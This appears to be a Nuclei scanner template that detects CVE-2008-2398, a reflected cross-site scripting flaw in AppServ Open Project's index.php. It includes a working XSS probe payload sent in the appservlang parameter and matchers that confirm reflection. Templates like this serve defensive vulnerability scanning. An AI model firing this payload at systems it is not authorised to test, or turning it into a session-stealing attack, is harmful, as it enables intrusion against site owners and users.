id: CVE-2008-2398

info:
  name: AppServ Open Project <=2.5.10 - Cross-Site Scripting
  author: unstabl3
  severity: medium
  description: AppServ Open Project 2.5.10 and earlier contains a cross-site scripting vulnerability in index.php which allows remote attackers to inject arbitrary web script or HTML via the appservlang parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to a patched version of AppServ Open Project (>=2.5.11) or apply the necessary security patches provided by the vendor.
  reference:
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/42546
    - http://securityreason.com/securityalert/3896
    - https://nvd.nist.gov/vuln/detail/CVE-2008-2398
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2008-2398
    cwe-id: CWE-79
    epss-score: 0.00841
    epss-percentile: 0.74956
    cpe: cpe:2.3:a:appserv_open_project:appserv:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: appserv_open_project
    product: appserv
  tags: cve2008,cve,xss,appserv_open_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=confirm('xss')>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c60b9a8026f2ed05325c901f511a48742cc930419780aba314ea34d4ce4a8d490220500e58b10c15aba82b9bacb90b126716a9d1cbcfcc3204d4fc0eb7592491b070:922c64590222798bb761d5b6d8e72950